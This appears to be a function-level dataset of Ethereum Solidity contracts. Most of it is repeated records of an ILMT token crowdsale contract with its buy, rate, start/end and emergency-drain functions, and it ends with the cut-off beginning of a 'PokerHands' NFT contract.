contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold ILMTToken public token; // the account to which all incoming ether will be transferred // Flag to track the crowdsale status (Active/InActive) bool public crowdSaleOn = false; // Current crowdsale sate variables uint256 constant totalCap = 33*10**6; // Max avaialble number of tokens in total including presale (unit token) uint256 constant crowdSaleCap = 18*10**6*(1 ether); // Max avaialble number of tokens for crowdsale 18 M (unit wei) uint256 constant bonusPeriod = 11 days; //change to 11 days when deploying uint256 constant tokensPerEther = 3300; uint256 public startTime; // Crowdsale start time uint256 public endTime; // Crowdsale end time uint256 public weiRaised = 0; // Total amount ether/wei collected uint256 public tokensMinted = 0; // Total number of tokens minted/sold so far in this crowdsale uint256 public currentRate = 3300; //first_owner receives 90% of ico fund in eth, second_owner receives 10%. //first_owner keeps 25% of token, second_owner keeps 20% token, 55% token for public sale //For transparency this must be hardcoded and uploaded to etherscan.io address constant firstOwner = 0x4F70a11fA322F4614C98AD4D6fEAcAdA55Ce32C2; address constant secondOwner = 0xDf47E759b98a0d95063F44c09a74E2ea33E9f18F; uint8 constant firstOwnerETHPercentage= 90; uint8 constant secondOwnerETHPercentage= 10; uint8 constant firstOwnerTokenPercentage= 25; uint8 constant secondOwnerTokenPercentage= 20; uint256 constant minPurchase = (1*1 ether)/10; //0.1 eth minimum // Event to be registered when a successful token purchase happens event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** Modifiers to verify the status of the crowdsale*/ modifier activeCrowdSale() { require(crowdSaleOn); _; } modifier inactiveCrowdSale() { require(!crowdSaleOn); _; } /** @dev constructor. Intializes the token to be traded using this contract */ function Crowdsale() public { token = new ILMTToken(firstOwner,firstOwnerTokenPercentage,secondOwner,secondOwnerTokenPercentage, totalCap); } /** @dev function to start the crowdsale. it will be called once for each crowdsale session @return A boolean that indicates if the operation is successful */ function startCrowdsale() inactiveCrowdSale onlyOwner public returns (bool) { startTime = uint256(now); //endTime = now + 33 days; endTime = now + 3*bonusPeriod; crowdSaleOn = true; weiRaised = 0; tokensMinted = 0; return true; } /** @dev function to stop crowdsale session.it will be called once for every crowdsale session and it can be called only its owner @return A boolean that indicates if the operation is successful */ function endCrowdsale() activeCrowdSale onlyOwner public returns (bool) { require(now >= endTime); crowdSaleOn = false; token.finishMinting(); return true; } /** @dev function to calculate and return the discounted token rate based on the current timeslot @return _discountedRate for the current timeslot return rate of Y wei per 1 Token) base rate without bonus : 1 ether = 3 300 tokens rate changes after 11 days the first 11 days: 30% bonus, next 11 days: 15% bonus , last 11 day : 0% hardcoded */ function findCurrentRate() constant private returns (uint256 _discountedRate) { uint256 elapsedTime = now.sub(startTime); uint256 baseRate = (1*1 ether)/tokensPerEther; if (elapsedTime <= bonusPeriod){ // x<= 11days _discountedRate = baseRate.mul(100).div(130); }else{ if (elapsedTime < 2*bonusPeriod){ //11days < x <= 22 days _discountedRate = baseRate.mul(100).div(115); }else{ _discountedRate = baseRate; } } } /** @dev fallback function can be used to buy tokens */ function () payable public { buyTokens(msg.sender); } /** @dev low level token purchase function */ function buyTokens(address beneficiary) activeCrowdSale public payable { require(beneficiary != 0x0); require(now >= startTime); require(now <= endTime); require(msg.value >= minPurchase); //enforce minimum value of a tx // amount ether sent to the contract.. normalized to wei uint256 weiAmount = msg.value; weiRaised = weiRaised.add(weiAmount); // Find out Token value in wei ( Y wei per 1 Token) uint256 rate = findCurrentRate(); //uint256 rate = uint256(1 * 1 ether).div(currentRate); require(rate > 0); //update public variable for viewing only, as requested currentRate = (1*1 ether)/rate; // Find out the number of tokens for given wei and normalize to ether so that tokens can be minted // by token contract uint256 numTokens = weiAmount.div(rate); require(numTokens > 0); require(tokensMinted.add(numTokens.mul(1 ether)) <= crowdSaleCap); tokensMinted = tokensMinted.add(numTokens.mul(1 ether)); // Mint the tokens and trasfer to the buyer token.mint(beneficiary, numTokens); TokenPurchase(msg.sender, beneficiary, weiAmount, numTokens); // Transfer the ether to owners according to their share and close the purchase firstOwner.transfer(weiAmount*firstOwnerETHPercentage/100); secondOwner.transfer(weiAmount*secondOwnerETHPercentage/100); } // ETH balance is always expected to be 0 after the crowsale. // but in case something went wrong, we use this function to extract the eth. // Security idea from kyber.network crowdsale // This should never be used function emergencyDrain(ERC20 anyToken) inactiveCrowdSale onlyOwner public returns(bool){ if( this.balance > 0 ) { owner.transfer( this.balance ); } if( anyToken != address(0x0) ) { assert( anyToken.transfer(owner, anyToken.balanceOf(this)) ); } return true; } }
/** * @title Public Token Generation Event for ILMT * credit: part of this contract was created from OpenZeppelin Code * @dev It allows multiple Capped CrowdSales. i.e. every crowdsale with capped token limit. * Simplified the deployment function for owner, just click & start, no configuration parameters */
NatSpecMultiLine
endCrowdsale
function endCrowdsale() activeCrowdSale onlyOwner public returns (bool) { require(now >= endTime); crowdSaleOn = false; token.finishMinting(); return true; }
/** @dev function to stop crowdsale session.it will be called once for every crowdsale session and it can be called only its owner @return A boolean that indicates if the operation is successful */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 3099, 3302 ] }
1,435
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Crowdsale
contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold ILMTToken public token; // the account to which all incoming ether will be transferred // Flag to track the crowdsale status (Active/InActive) bool public crowdSaleOn = false; // Current crowdsale sate variables uint256 constant totalCap = 33*10**6; // Max avaialble number of tokens in total including presale (unit token) uint256 constant crowdSaleCap = 18*10**6*(1 ether); // Max avaialble number of tokens for crowdsale 18 M (unit wei) uint256 constant bonusPeriod = 11 days; //change to 11 days when deploying uint256 constant tokensPerEther = 3300; uint256 public startTime; // Crowdsale start time uint256 public endTime; // Crowdsale end time uint256 public weiRaised = 0; // Total amount ether/wei collected uint256 public tokensMinted = 0; // Total number of tokens minted/sold so far in this crowdsale uint256 public currentRate = 3300; //first_owner receives 90% of ico fund in eth, second_owner receives 10%. //first_owner keeps 25% of token, second_owner keeps 20% token, 55% token for public sale //For transparency this must be hardcoded and uploaded to etherscan.io address constant firstOwner = 0x4F70a11fA322F4614C98AD4D6fEAcAdA55Ce32C2; address constant secondOwner = 0xDf47E759b98a0d95063F44c09a74E2ea33E9f18F; uint8 constant firstOwnerETHPercentage= 90; uint8 constant secondOwnerETHPercentage= 10; uint8 constant firstOwnerTokenPercentage= 25; uint8 constant secondOwnerTokenPercentage= 20; uint256 constant minPurchase = (1*1 ether)/10; //0.1 eth minimum // Event to be registered when a successful token purchase happens event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** Modifiers to verify the status of the crowdsale*/ modifier activeCrowdSale() { require(crowdSaleOn); _; } modifier inactiveCrowdSale() { require(!crowdSaleOn); _; } /** @dev constructor. Intializes the token to be traded using this contract */ function Crowdsale() public { token = new ILMTToken(firstOwner,firstOwnerTokenPercentage,secondOwner,secondOwnerTokenPercentage, totalCap); } /** @dev function to start the crowdsale. it will be called once for each crowdsale session @return A boolean that indicates if the operation is successful */ function startCrowdsale() inactiveCrowdSale onlyOwner public returns (bool) { startTime = uint256(now); //endTime = now + 33 days; endTime = now + 3*bonusPeriod; crowdSaleOn = true; weiRaised = 0; tokensMinted = 0; return true; } /** @dev function to stop crowdsale session.it will be called once for every crowdsale session and it can be called only its owner @return A boolean that indicates if the operation is successful */ function endCrowdsale() activeCrowdSale onlyOwner public returns (bool) { require(now >= endTime); crowdSaleOn = false; token.finishMinting(); return true; } /** @dev function to calculate and return the discounted token rate based on the current timeslot @return _discountedRate for the current timeslot return rate of Y wei per 1 Token) base rate without bonus : 1 ether = 3 300 tokens rate changes after 11 days the first 11 days: 30% bonus, next 11 days: 15% bonus , last 11 day : 0% hardcoded */ function findCurrentRate() constant private returns (uint256 _discountedRate) { uint256 elapsedTime = now.sub(startTime); uint256 baseRate = (1*1 ether)/tokensPerEther; if (elapsedTime <= bonusPeriod){ // x<= 11days _discountedRate = baseRate.mul(100).div(130); }else{ if (elapsedTime < 2*bonusPeriod){ //11days < x <= 22 days _discountedRate = baseRate.mul(100).div(115); }else{ _discountedRate = baseRate; } } } /** @dev fallback function can be used to buy tokens */ function () payable public { buyTokens(msg.sender); } /** @dev low level token purchase function */ function buyTokens(address beneficiary) activeCrowdSale public payable { require(beneficiary != 0x0); require(now >= startTime); require(now <= endTime); require(msg.value >= minPurchase); //enforce minimum value of a tx // amount ether sent to the contract.. normalized to wei uint256 weiAmount = msg.value; weiRaised = weiRaised.add(weiAmount); // Find out Token value in wei ( Y wei per 1 Token) uint256 rate = findCurrentRate(); //uint256 rate = uint256(1 * 1 ether).div(currentRate); require(rate > 0); //update public variable for viewing only, as requested currentRate = (1*1 ether)/rate; // Find out the number of tokens for given wei and normalize to ether so that tokens can be minted // by token contract uint256 numTokens = weiAmount.div(rate); require(numTokens > 0); require(tokensMinted.add(numTokens.mul(1 ether)) <= crowdSaleCap); tokensMinted = tokensMinted.add(numTokens.mul(1 ether)); // Mint the tokens and trasfer to the buyer token.mint(beneficiary, numTokens); TokenPurchase(msg.sender, beneficiary, weiAmount, numTokens); // Transfer the ether to owners according to their share and close the purchase firstOwner.transfer(weiAmount*firstOwnerETHPercentage/100); secondOwner.transfer(weiAmount*secondOwnerETHPercentage/100); } // ETH balance is always expected to be 0 after the crowsale. // but in case something went wrong, we use this function to extract the eth. // Security idea from kyber.network crowdsale // This should never be used function emergencyDrain(ERC20 anyToken) inactiveCrowdSale onlyOwner public returns(bool){ if( this.balance > 0 ) { owner.transfer( this.balance ); } if( anyToken != address(0x0) ) { assert( anyToken.transfer(owner, anyToken.balanceOf(this)) ); } return true; } }
/** * @title Public Token Generation Event for ILMT * credit: part of this contract was created from OpenZeppelin Code * @dev It allows multiple Capped CrowdSales. i.e. every crowdsale with capped token limit. * Simplified the deployment function for owner, just click & start, no configuration parameters */
NatSpecMultiLine
findCurrentRate
function findCurrentRate() constant private returns (uint256 _discountedRate) { uint256 elapsedTime = now.sub(startTime); uint256 baseRate = (1*1 ether)/tokensPerEther; if (elapsedTime <= bonusPeriod){ // x<= 11days _discountedRate = baseRate.mul(100).div(130); }else{ if (elapsedTime < 2*bonusPeriod){ //11days < x <= 22 days _discountedRate = baseRate.mul(100).div(115); }else{ _discountedRate = baseRate; } } }
/** @dev function to calculate and return the discounted token rate based on the current timeslot @return _discountedRate for the current timeslot return rate of Y wei per 1 Token) base rate without bonus : 1 ether = 3 300 tokens rate changes after 11 days the first 11 days: 30% bonus, next 11 days: 15% bonus , last 11 day : 0% hardcoded */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 3708, 4266 ] }
1,436
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Crowdsale
contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold ILMTToken public token; // the account to which all incoming ether will be transferred // Flag to track the crowdsale status (Active/InActive) bool public crowdSaleOn = false; // Current crowdsale sate variables uint256 constant totalCap = 33*10**6; // Max avaialble number of tokens in total including presale (unit token) uint256 constant crowdSaleCap = 18*10**6*(1 ether); // Max avaialble number of tokens for crowdsale 18 M (unit wei) uint256 constant bonusPeriod = 11 days; //change to 11 days when deploying uint256 constant tokensPerEther = 3300; uint256 public startTime; // Crowdsale start time uint256 public endTime; // Crowdsale end time uint256 public weiRaised = 0; // Total amount ether/wei collected uint256 public tokensMinted = 0; // Total number of tokens minted/sold so far in this crowdsale uint256 public currentRate = 3300; //first_owner receives 90% of ico fund in eth, second_owner receives 10%. //first_owner keeps 25% of token, second_owner keeps 20% token, 55% token for public sale //For transparency this must be hardcoded and uploaded to etherscan.io address constant firstOwner = 0x4F70a11fA322F4614C98AD4D6fEAcAdA55Ce32C2; address constant secondOwner = 0xDf47E759b98a0d95063F44c09a74E2ea33E9f18F; uint8 constant firstOwnerETHPercentage= 90; uint8 constant secondOwnerETHPercentage= 10; uint8 constant firstOwnerTokenPercentage= 25; uint8 constant secondOwnerTokenPercentage= 20; uint256 constant minPurchase = (1*1 ether)/10; //0.1 eth minimum // Event to be registered when a successful token purchase happens event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** Modifiers to verify the status of the crowdsale*/ modifier activeCrowdSale() { require(crowdSaleOn); _; } modifier inactiveCrowdSale() { require(!crowdSaleOn); _; } /** @dev constructor. Intializes the token to be traded using this contract */ function Crowdsale() public { token = new ILMTToken(firstOwner,firstOwnerTokenPercentage,secondOwner,secondOwnerTokenPercentage, totalCap); } /** @dev function to start the crowdsale. it will be called once for each crowdsale session @return A boolean that indicates if the operation is successful */ function startCrowdsale() inactiveCrowdSale onlyOwner public returns (bool) { startTime = uint256(now); //endTime = now + 33 days; endTime = now + 3*bonusPeriod; crowdSaleOn = true; weiRaised = 0; tokensMinted = 0; return true; } /** @dev function to stop crowdsale session.it will be called once for every crowdsale session and it can be called only its owner @return A boolean that indicates if the operation is successful */ function endCrowdsale() activeCrowdSale onlyOwner public returns (bool) { require(now >= endTime); crowdSaleOn = false; token.finishMinting(); return true; } /** @dev function to calculate and return the discounted token rate based on the current timeslot @return _discountedRate for the current timeslot return rate of Y wei per 1 Token) base rate without bonus : 1 ether = 3 300 tokens rate changes after 11 days the first 11 days: 30% bonus, next 11 days: 15% bonus , last 11 day : 0% hardcoded */ function findCurrentRate() constant private returns (uint256 _discountedRate) { uint256 elapsedTime = now.sub(startTime); uint256 baseRate = (1*1 ether)/tokensPerEther; if (elapsedTime <= bonusPeriod){ // x<= 11days _discountedRate = baseRate.mul(100).div(130); }else{ if (elapsedTime < 2*bonusPeriod){ //11days < x <= 22 days _discountedRate = baseRate.mul(100).div(115); }else{ _discountedRate = baseRate; } } } /** @dev fallback function can be used to buy tokens */ function () payable public { buyTokens(msg.sender); } /** @dev low level token purchase function */ function buyTokens(address beneficiary) activeCrowdSale public payable { require(beneficiary != 0x0); require(now >= startTime); require(now <= endTime); require(msg.value >= minPurchase); //enforce minimum value of a tx // amount ether sent to the contract.. normalized to wei uint256 weiAmount = msg.value; weiRaised = weiRaised.add(weiAmount); // Find out Token value in wei ( Y wei per 1 Token) uint256 rate = findCurrentRate(); //uint256 rate = uint256(1 * 1 ether).div(currentRate); require(rate > 0); //update public variable for viewing only, as requested currentRate = (1*1 ether)/rate; // Find out the number of tokens for given wei and normalize to ether so that tokens can be minted // by token contract uint256 numTokens = weiAmount.div(rate); require(numTokens > 0); require(tokensMinted.add(numTokens.mul(1 ether)) <= crowdSaleCap); tokensMinted = tokensMinted.add(numTokens.mul(1 ether)); // Mint the tokens and trasfer to the buyer token.mint(beneficiary, numTokens); TokenPurchase(msg.sender, beneficiary, weiAmount, numTokens); // Transfer the ether to owners according to their share and close the purchase firstOwner.transfer(weiAmount*firstOwnerETHPercentage/100); secondOwner.transfer(weiAmount*secondOwnerETHPercentage/100); } // ETH balance is always expected to be 0 after the crowsale. // but in case something went wrong, we use this function to extract the eth. // Security idea from kyber.network crowdsale // This should never be used function emergencyDrain(ERC20 anyToken) inactiveCrowdSale onlyOwner public returns(bool){ if( this.balance > 0 ) { owner.transfer( this.balance ); } if( anyToken != address(0x0) ) { assert( anyToken.transfer(owner, anyToken.balanceOf(this)) ); } return true; } }
/** * @title Public Token Generation Event for ILMT * credit: part of this contract was created from OpenZeppelin Code * @dev It allows multiple Capped CrowdSales. i.e. every crowdsale with capped token limit. * Simplified the deployment function for owner, just click & start, no configuration parameters */
NatSpecMultiLine
function () payable public { buyTokens(msg.sender); }
/** @dev fallback function can be used to buy tokens */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 4345, 4417 ] }
1,437
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Crowdsale
contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold ILMTToken public token; // the account to which all incoming ether will be transferred // Flag to track the crowdsale status (Active/InActive) bool public crowdSaleOn = false; // Current crowdsale sate variables uint256 constant totalCap = 33*10**6; // Max avaialble number of tokens in total including presale (unit token) uint256 constant crowdSaleCap = 18*10**6*(1 ether); // Max avaialble number of tokens for crowdsale 18 M (unit wei) uint256 constant bonusPeriod = 11 days; //change to 11 days when deploying uint256 constant tokensPerEther = 3300; uint256 public startTime; // Crowdsale start time uint256 public endTime; // Crowdsale end time uint256 public weiRaised = 0; // Total amount ether/wei collected uint256 public tokensMinted = 0; // Total number of tokens minted/sold so far in this crowdsale uint256 public currentRate = 3300; //first_owner receives 90% of ico fund in eth, second_owner receives 10%. //first_owner keeps 25% of token, second_owner keeps 20% token, 55% token for public sale //For transparency this must be hardcoded and uploaded to etherscan.io address constant firstOwner = 0x4F70a11fA322F4614C98AD4D6fEAcAdA55Ce32C2; address constant secondOwner = 0xDf47E759b98a0d95063F44c09a74E2ea33E9f18F; uint8 constant firstOwnerETHPercentage= 90; uint8 constant secondOwnerETHPercentage= 10; uint8 constant firstOwnerTokenPercentage= 25; uint8 constant secondOwnerTokenPercentage= 20; uint256 constant minPurchase = (1*1 ether)/10; //0.1 eth minimum // Event to be registered when a successful token purchase happens event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** Modifiers to verify the status of the crowdsale*/ modifier activeCrowdSale() { require(crowdSaleOn); _; } modifier inactiveCrowdSale() { require(!crowdSaleOn); _; } /** @dev constructor. Intializes the token to be traded using this contract */ function Crowdsale() public { token = new ILMTToken(firstOwner,firstOwnerTokenPercentage,secondOwner,secondOwnerTokenPercentage, totalCap); } /** @dev function to start the crowdsale. it will be called once for each crowdsale session @return A boolean that indicates if the operation is successful */ function startCrowdsale() inactiveCrowdSale onlyOwner public returns (bool) { startTime = uint256(now); //endTime = now + 33 days; endTime = now + 3*bonusPeriod; crowdSaleOn = true; weiRaised = 0; tokensMinted = 0; return true; } /** @dev function to stop crowdsale session.it will be called once for every crowdsale session and it can be called only its owner @return A boolean that indicates if the operation is successful */ function endCrowdsale() activeCrowdSale onlyOwner public returns (bool) { require(now >= endTime); crowdSaleOn = false; token.finishMinting(); return true; } /** @dev function to calculate and return the discounted token rate based on the current timeslot @return _discountedRate for the current timeslot return rate of Y wei per 1 Token) base rate without bonus : 1 ether = 3 300 tokens rate changes after 11 days the first 11 days: 30% bonus, next 11 days: 15% bonus , last 11 day : 0% hardcoded */ function findCurrentRate() constant private returns (uint256 _discountedRate) { uint256 elapsedTime = now.sub(startTime); uint256 baseRate = (1*1 ether)/tokensPerEther; if (elapsedTime <= bonusPeriod){ // x<= 11days _discountedRate = baseRate.mul(100).div(130); }else{ if (elapsedTime < 2*bonusPeriod){ //11days < x <= 22 days _discountedRate = baseRate.mul(100).div(115); }else{ _discountedRate = baseRate; } } } /** @dev fallback function can be used to buy tokens */ function () payable public { buyTokens(msg.sender); } /** @dev low level token purchase function */ function buyTokens(address beneficiary) activeCrowdSale public payable { require(beneficiary != 0x0); require(now >= startTime); require(now <= endTime); require(msg.value >= minPurchase); //enforce minimum value of a tx // amount ether sent to the contract.. normalized to wei uint256 weiAmount = msg.value; weiRaised = weiRaised.add(weiAmount); // Find out Token value in wei ( Y wei per 1 Token) uint256 rate = findCurrentRate(); //uint256 rate = uint256(1 * 1 ether).div(currentRate); require(rate > 0); //update public variable for viewing only, as requested currentRate = (1*1 ether)/rate; // Find out the number of tokens for given wei and normalize to ether so that tokens can be minted // by token contract uint256 numTokens = weiAmount.div(rate); require(numTokens > 0); require(tokensMinted.add(numTokens.mul(1 ether)) <= crowdSaleCap); tokensMinted = tokensMinted.add(numTokens.mul(1 ether)); // Mint the tokens and trasfer to the buyer token.mint(beneficiary, numTokens); TokenPurchase(msg.sender, beneficiary, weiAmount, numTokens); // Transfer the ether to owners according to their share and close the purchase firstOwner.transfer(weiAmount*firstOwnerETHPercentage/100); secondOwner.transfer(weiAmount*secondOwnerETHPercentage/100); } // ETH balance is always expected to be 0 after the crowsale. // but in case something went wrong, we use this function to extract the eth. // Security idea from kyber.network crowdsale // This should never be used function emergencyDrain(ERC20 anyToken) inactiveCrowdSale onlyOwner public returns(bool){ if( this.balance > 0 ) { owner.transfer( this.balance ); } if( anyToken != address(0x0) ) { assert( anyToken.transfer(owner, anyToken.balanceOf(this)) ); } return true; } }
/** * @title Public Token Generation Event for ILMT * credit: part of this contract was created from OpenZeppelin Code * @dev It allows multiple Capped CrowdSales. i.e. every crowdsale with capped token limit. * Simplified the deployment function for owner, just click & start, no configuration parameters */
NatSpecMultiLine
buyTokens
function buyTokens(address beneficiary) activeCrowdSale public payable { require(beneficiary != 0x0); require(now >= startTime); require(now <= endTime); require(msg.value >= minPurchase); //enforce minimum value of a tx // amount ether sent to the contract.. normalized to wei uint256 weiAmount = msg.value; weiRaised = weiRaised.add(weiAmount); // Find out Token value in wei ( Y wei per 1 Token) uint256 rate = findCurrentRate(); //uint256 rate = uint256(1 * 1 ether).div(currentRate); require(rate > 0); //update public variable for viewing only, as requested currentRate = (1*1 ether)/rate; // Find out the number of tokens for given wei and normalize to ether so that tokens can be minted // by token contract uint256 numTokens = weiAmount.div(rate); require(numTokens > 0); require(tokensMinted.add(numTokens.mul(1 ether)) <= crowdSaleCap); tokensMinted = tokensMinted.add(numTokens.mul(1 ether)); // Mint the tokens and trasfer to the buyer token.mint(beneficiary, numTokens); TokenPurchase(msg.sender, beneficiary, weiAmount, numTokens); // Transfer the ether to owners according to their share and close the purchase firstOwner.transfer(weiAmount*firstOwnerETHPercentage/100); secondOwner.transfer(weiAmount*secondOwnerETHPercentage/100); }
/** @dev low level token purchase function */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 4486, 5981 ] }
1,438
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Crowdsale
contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold ILMTToken public token; // the account to which all incoming ether will be transferred // Flag to track the crowdsale status (Active/InActive) bool public crowdSaleOn = false; // Current crowdsale sate variables uint256 constant totalCap = 33*10**6; // Max avaialble number of tokens in total including presale (unit token) uint256 constant crowdSaleCap = 18*10**6*(1 ether); // Max avaialble number of tokens for crowdsale 18 M (unit wei) uint256 constant bonusPeriod = 11 days; //change to 11 days when deploying uint256 constant tokensPerEther = 3300; uint256 public startTime; // Crowdsale start time uint256 public endTime; // Crowdsale end time uint256 public weiRaised = 0; // Total amount ether/wei collected uint256 public tokensMinted = 0; // Total number of tokens minted/sold so far in this crowdsale uint256 public currentRate = 3300; //first_owner receives 90% of ico fund in eth, second_owner receives 10%. //first_owner keeps 25% of token, second_owner keeps 20% token, 55% token for public sale //For transparency this must be hardcoded and uploaded to etherscan.io address constant firstOwner = 0x4F70a11fA322F4614C98AD4D6fEAcAdA55Ce32C2; address constant secondOwner = 0xDf47E759b98a0d95063F44c09a74E2ea33E9f18F; uint8 constant firstOwnerETHPercentage= 90; uint8 constant secondOwnerETHPercentage= 10; uint8 constant firstOwnerTokenPercentage= 25; uint8 constant secondOwnerTokenPercentage= 20; uint256 constant minPurchase = (1*1 ether)/10; //0.1 eth minimum // Event to be registered when a successful token purchase happens event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** Modifiers to verify the status of the crowdsale*/ modifier activeCrowdSale() { require(crowdSaleOn); _; } modifier inactiveCrowdSale() { require(!crowdSaleOn); _; } /** @dev constructor. Intializes the token to be traded using this contract */ function Crowdsale() public { token = new ILMTToken(firstOwner,firstOwnerTokenPercentage,secondOwner,secondOwnerTokenPercentage, totalCap); } /** @dev function to start the crowdsale. it will be called once for each crowdsale session @return A boolean that indicates if the operation is successful */ function startCrowdsale() inactiveCrowdSale onlyOwner public returns (bool) { startTime = uint256(now); //endTime = now + 33 days; endTime = now + 3*bonusPeriod; crowdSaleOn = true; weiRaised = 0; tokensMinted = 0; return true; } /** @dev function to stop crowdsale session.it will be called once for every crowdsale session and it can be called only its owner @return A boolean that indicates if the operation is successful */ function endCrowdsale() activeCrowdSale onlyOwner public returns (bool) { require(now >= endTime); crowdSaleOn = false; token.finishMinting(); return true; } /** @dev function to calculate and return the discounted token rate based on the current timeslot @return _discountedRate for the current timeslot return rate of Y wei per 1 Token) base rate without bonus : 1 ether = 3 300 tokens rate changes after 11 days the first 11 days: 30% bonus, next 11 days: 15% bonus , last 11 day : 0% hardcoded */ function findCurrentRate() constant private returns (uint256 _discountedRate) { uint256 elapsedTime = now.sub(startTime); uint256 baseRate = (1*1 ether)/tokensPerEther; if (elapsedTime <= bonusPeriod){ // x<= 11days _discountedRate = baseRate.mul(100).div(130); }else{ if (elapsedTime < 2*bonusPeriod){ //11days < x <= 22 days _discountedRate = baseRate.mul(100).div(115); }else{ _discountedRate = baseRate; } } } /** @dev fallback function can be used to buy tokens */ function () payable public { buyTokens(msg.sender); } /** @dev low level token purchase function */ function buyTokens(address beneficiary) activeCrowdSale public payable { require(beneficiary != 0x0); require(now >= startTime); require(now <= endTime); require(msg.value >= minPurchase); //enforce minimum value of a tx // amount ether sent to the contract.. normalized to wei uint256 weiAmount = msg.value; weiRaised = weiRaised.add(weiAmount); // Find out Token value in wei ( Y wei per 1 Token) uint256 rate = findCurrentRate(); //uint256 rate = uint256(1 * 1 ether).div(currentRate); require(rate > 0); //update public variable for viewing only, as requested currentRate = (1*1 ether)/rate; // Find out the number of tokens for given wei and normalize to ether so that tokens can be minted // by token contract uint256 numTokens = weiAmount.div(rate); require(numTokens > 0); require(tokensMinted.add(numTokens.mul(1 ether)) <= crowdSaleCap); tokensMinted = tokensMinted.add(numTokens.mul(1 ether)); // Mint the tokens and trasfer to the buyer token.mint(beneficiary, numTokens); TokenPurchase(msg.sender, beneficiary, weiAmount, numTokens); // Transfer the ether to owners according to their share and close the purchase firstOwner.transfer(weiAmount*firstOwnerETHPercentage/100); secondOwner.transfer(weiAmount*secondOwnerETHPercentage/100); } // ETH balance is always expected to be 0 after the crowsale. // but in case something went wrong, we use this function to extract the eth. // Security idea from kyber.network crowdsale // This should never be used function emergencyDrain(ERC20 anyToken) inactiveCrowdSale onlyOwner public returns(bool){ if( this.balance > 0 ) { owner.transfer( this.balance ); } if( anyToken != address(0x0) ) { assert( anyToken.transfer(owner, anyToken.balanceOf(this)) ); } return true; } }
/** * @title Public Token Generation Event for ILMT * credit: part of this contract was created from OpenZeppelin Code * @dev It allows multiple Capped CrowdSales. i.e. every crowdsale with capped token limit. * Simplified the deployment function for owner, just click & start, no configuration parameters */
NatSpecMultiLine
emergencyDrain
function emergencyDrain(ERC20 anyToken) inactiveCrowdSale onlyOwner public returns(bool){ if( this.balance > 0 ) { owner.transfer( this.balance ); } if( anyToken != address(0x0) ) { assert( anyToken.transfer(owner, anyToken.balanceOf(this)) ); } return true; }
// ETH balance is always expected to be 0 after the crowsale. // but in case something went wrong, we use this function to extract the eth. // Security idea from kyber.network crowdsale // This should never be used
LineComment
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 6219, 6564 ] }
1,439
PokerHands
contracts/PokerHands.sol
0x154289164629fcfff837053f37fb9c2099eab44e
Solidity
PokerHands
contract PokerHands is ERC721Enumerable, ReentrancyGuard, Ownable { string[] private deck = [ "Ace of Spades", "King of Spades", "Queen of Spades", "Jack of Spades", "Ten of Spades", "Nine of Spades", "Eight of Spades", "Seven of Spades", "Six of Spades", "Five of Spades", "Four of Spades", "Three of Spades", "Two of Spades", "Ace of Hearts", "King of Hearts", "Queen of Hearts", "Jack of Hearts", "Ten of Hearts", "Nine of Hearts", "Eight of Hearts", "Seven of Hearts", "Six of Hearts", "Five of Hearts", "Four of Hearts", "Three of Hearts", "Two of Hearts", "Ace of Diamonds", "King of Diamonds", "Queen of Diamonds", "Jack of Diamonds", "Ten of Diamonds", "Nine of Diamonds", "Eight of Diamonds", "Seven of Diamonds", "Six of Diamonds", "Five of Diamonds", "Four of Diamonds", "Three of Diamonds", "Two of Diamonds", "Ace of Clubs", "King of Clubs", "Queen of Clubs", "Jack of Clubs", "Ten of Clubs", "Nine of Clubs", "Eight of Clubs", "Seven of Clubs", "Six of Clubs", "Five of Clubs", "Four of Clubs", "Three of Clubs", "Two of Clubs" ]; function random(string memory input) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(input))); } function getHand(uint256 tokenId) internal view returns (string[] memory) { for (uint256 attempt = 1; attempt < 100; attempt++) { string[] memory ret = generateHand(tokenId, attempt); if (hasDuplicates(ret)) { continue; } findJokers(tokenId, ret); return ret; } require(false, "Unable to generate hand."); return new string[](0); } function findJokers(uint256 tokenId, string[] memory hand) internal pure { uint256 n = random( string(abi.encodePacked("findJokers", toString(tokenId))) ) % 10000; if (n < 10) { hand[randomIndex(tokenId, "redJoker")] = "Red Joker"; hand[randomIndex(tokenId, "blackJoker")] = "Black Joker"; } else if (n <= 110) { hand[randomIndex(tokenId, "redJoker")] = "Red Joker"; } else if (n <= 210) { hand[randomIndex(tokenId, "blackJoker")] = "Black Joker"; } } function randomIndex(uint256 tokenId, string memory key) internal pure returns (uint256) { return random(string(abi.encodePacked(key, toString(tokenId)))) % 5; } function hasDuplicates(string[] memory hand) internal pure returns (bool) { for (uint256 i = 0; i < 5; i++) { for (uint256 j = i + 1; j < 5; 